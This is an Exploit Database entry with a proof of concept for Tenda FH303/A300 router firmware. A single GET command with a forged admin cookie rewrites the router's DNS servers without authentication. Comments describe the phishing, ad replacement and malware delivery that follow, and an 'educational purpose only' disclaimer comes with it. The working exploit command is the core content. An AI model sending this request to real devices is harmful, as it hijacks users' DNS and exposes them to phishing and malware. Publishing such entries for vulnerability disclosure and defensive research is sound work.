



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Tenda FH303/A300 Firmware v5.07.68_EN - Remote DNS Change

EDB-ID:

44381

CVE:

N/A

EDB Verified: ✘

Author:

[TODOR DONEV](#)

Type:

[WEBAPPS](#)

Exploit:  

Platform:

[ASP](#)

Date:

2018-03-30

Vulnerable App:



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
#
#
# Tenda FH303/A300 Firmware V5.07.68_EN
# Cookie Session Weakness Remote DNS Change PoC
#
# Copyright 2018 (c) Todor Donev <todor.donev at gmail.com>
# https://ethical-hacker.org/
# https://facebook.com/ethicalhackerorg
#
#
# Once modified, systems use foreign DNS servers, which are
# usually set up by cybercriminals. Users with vulnerable
# systems or devices who try to access certain sites are
# instead redirected to possibly malicious sites.
#
# Modifying systems' DNS settings allows cybercriminals to
# perform malicious activities like:
#
#   o Steering unknowing users to bad sites:
#     These sites can be phishing pages that
#     spoof well-known sites in order to
#     trick users into handing out sensitive
#     information.
#
#   o Replacing ads on legitimate sites:
#     Visiting certain sites can serve users
#     with infected systems a different set
#     of ads from those whose systems are
#     not infected.
#
#   o Controlling and redirecting network traffic:
#     Users of infected systems may not be granted
#     access to download important OS and software
#     updates from vendors like Microsoft and from
#     their respective security vendors.
#
#   o Pushing additional malware:
#     Infected systems are more prone to other
#     malware infections (e.g., FAKEAV infection).
#
# Disclaimer:
# This or previous programs is for Educational
# purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the
# fact that Todor Donev is not liable for any
# damages caused by direct or indirect use of the
# information or functionality provided by these
# programs. The author or any Internet provider
# bears NO responsibility for content or misuse
# of these programs or any derivatives thereof.
# By using these programs you accept the fact
# that any damage (dataloss, system crash,
# system compromise, etc.) caused by the use
# of these programs is not Todor Donev's
# responsibility.
#
# Use them at your own risk!
#
#
GET -H "Cookie: admin:language=en; path=/"
"http://<TARGET>/goform/AdvSetDns?
G0=wan_dns.asp&rebootTag=&DSEN=1&DSEN=on&DS1=<DNS1>&DS2=<DNS2>"
2>/dev/null
```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Tags:

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.